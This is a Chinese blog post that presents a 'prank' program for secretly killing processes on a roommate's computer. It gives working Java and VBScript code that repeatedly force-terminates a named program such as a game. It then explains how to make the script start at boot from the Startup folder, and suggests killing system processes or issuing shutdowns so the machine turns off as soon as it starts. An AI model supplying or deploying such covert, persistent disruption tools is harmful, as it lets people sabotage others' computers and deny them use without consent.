zoukankan      html  css  js  c++  java
  • Java恶搞!强制关闭电脑上的程序进程!

    效果

    最近写代码经常和各种进程打交道,发现了一个很有意思的黑科技。
    我直接说有什么用吧,可以设置每隔多少时间检查某个程序是否在使用,如果在用,就强制关闭。比如,有的sb舍友晚上就是不睡觉,一边打游戏一边嚷嚷,那么把程序放他电脑里,定时五分钟,他会发现他的撸啊撸每次都是只能玩五分钟就强退。
    在这里插入图片描述
    之前说的用robot废掉键盘和鼠标太小儿科,配合这个使用,保证让舍友怀疑人生。
    最重要的是,用vb和bat代码量贼少而且非常方便,还能设置开机自动执行!

    在这里插入图片描述
    这里设置了检查记事本文件,时间间隔为五秒,效果就是运行程序后,记事本文件闪退,一直打不开

    源码

    不难,就是使用Java执行Windows命令而已,我们实现的过程其实就是在模拟在cmd小黑窗口里输入命令。

    public static void main(String[] args) throws AWTException {
    		shutdownPro("QQ", 5000);//传入两个参数,一个是想要操作的进程的名字,一个是时间间隔
    	}
    	public static void shutdownPro(String progressName,int time) throws AWTException {
    		int isRunning = -1;//定义变量,该变量用来判断某程序是否在运行,初始值为-1
    		Robot robot=new Robot();
    		while(true) {
    			try {
    				robot.delay(time);//使用robot的延时功能来完成每隔多少时间运行一次,当然还有其他方法实现该功能
    				
    				//下面两句是用Java来调用某个程序的语句,这里定义了一个Windows的命令,然后去执行。该语句的作用是查看当前在运行的程序
    				String cmd = " tasklist";
    				Process p = Runtime.getRuntime().exec(cmd);
    				
    				//上述语句执行完后,可以通过Process对象获得窗口返回的数据,把这个数据拼接成一个字符串
    				StringBuffer proList = new StringBuffer();
    				byte[] b = new byte[1024];
    				for (int n; (n = p.getInputStream().read(b)) != -1;) {
    					proList.append(new String(b, 0, n));
    				}
    				
    				
    				isRunning = proList.toString().indexOf(progressName+".exe");//调用indexOf方法判断某个进程是否存在于我们得到的结果中
    				
    				//如果有,说明在运行
    				if (isRunning >= 0) {
    					System.out.println("正在关闭");
    					//同上,执行一条命令,该命令是强制关闭该进程
    					String command = "taskkill /f /im "+progressName+".exe";
    					Runtime.getRuntime().exec(command);
    					System.out.println("已关闭");
    				} else {
    					System.out.println("无进程");
    				}
    
    			} catch (Exception e1) {
    				e1.printStackTrace();
    
    			}
    		}
    	}
    
    

    讲解

    1. cmd命令:其实就是Windows命令,感兴趣的自己去查一下。
      这里我们用到了两个,一个是tasklist,该命令是列出当前在运行的程序,就是打开任务管理器,看到的当前进程列表
      在这里插入图片描述
      在cmd里运行的效果是
      在这里插入图片描述
      第二条命令:taskkill /f /im xxx.exe
      taskkill是Windows命令行里终止指定程序进程的命令。
      /f 表示强制终止
      /im 表示指定的进程名称
      xxx,就写程序名字呗,相关记事本就是notepad,想关QQ那就是QQ呗,当然最重要的是关了他们的LOL

    2. 设置多久执行一次
      显然死循环啊,里面用Robot的延时方法或者线程sleep方法都行。
      不嫌麻烦用时间日期类来做也行

    3. 如何判断某程序是否在运行
      执行第一条指令,会得到返回结果,我们把它当成一个字符串来看,这个字符串里包含了所有当前在运行的程序。那用string的indexof方法或者contains方法都行啊,判断这个字符串是否包含某个子字符串,这个子字符串就是我们指定的程序名
      如果存在,那么执行第二条指令,强行关闭

    扩展

    上面是学习一下Java,下面才是干货

    do
    set bag=getobject("winmgmts:\.
    ootcimv2")
    set pipe=bag.execquery("select * from win32_process where name='notepad.exe'")
    for each i in pipe
    i.terminate()
    next
    wscript.sleep 5000
    loop
    

    vb版本,和系统打交道还是vb和bat脚本比较方便,不同语言的作用不一样,这个要区分清楚。
    复制上面代码到记事本里,保存,后缀改成.vbs就行了,双击直接能运行。
    记得把进程名和时间改成自己需要的就行。然后就可以拿舍友测试了。
    什么?你还想设置为开机自动启动?
    不行,这太狠了,人家只是打个游戏而已,不至于赶尽杀绝吧。
    你打死我,我也不会告诉你,把这个vb程序放到C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp路径下就可以开机自动启动了,我也不会告诉你如果你设置是他系统进程或者直接执行关机命令,再把时间调成一秒,他的电脑开机屏幕一亮就关机了!打死我也不说
    在这里插入图片描述

    问:为什么不写注释也不仔细讲解?
    答:我也不会啊,我copy的
    在这里插入图片描述

    在这里插入图片描述

    这个东西网上一搜有现成的,很简单。vb比较简单,做一些小工具还可以,感兴趣的可以自己研究

    矫情一下

    我主业是做研发的,最近因为工作关系,接触到了很多学生,发现很多同学对学编程很头疼。我上学的时候也有这种困惑。
    我始终认为,编程是一件很有意思的事情,代码可以做出很多意想不到的东西来,程序员不仅可以改变世界,也可以陶冶情操。同时,我也想颠覆外行人对程序员的认知,搞代码的不是你们认为的格子衫牛仔裤帆布鞋,也不是秃头,钢铁直男,做程序只是工作,和人没关系。
    可用的代码千篇一律,有趣的设计万里挑一。希望我的一些绵薄之力可以让更多人爱上编程。
    当然,肯定还是要靠自己学嘛,至于为什么,emmmm……老师们上课对着PPT念一学期能教出啥来,他们最擅长把的是把你学习的兴趣磨没有。
    在这里插入图片描述

  • 相关阅读:
    使用Struts时,JSP中如何取得各个会话中的参数值?
    JUnit —— TestSuite 的使用
    如何修改 Ubuntu 的字符集?
    如何修改 VIM 制表符的空格数?
    最遥远的距离
    二分法求平方根(Python实现)
    Hadoop 学习之路之MapReduce原理
    JDK 1.8源码阅读 TreeMap
    JDK 1.8源码阅读 HashMap
    JDK 1.8源码阅读 HashSet
  • 原文地址:https://www.cnblogs.com/duibd/p/11082963.html
Copyright © 2011-2022 走看看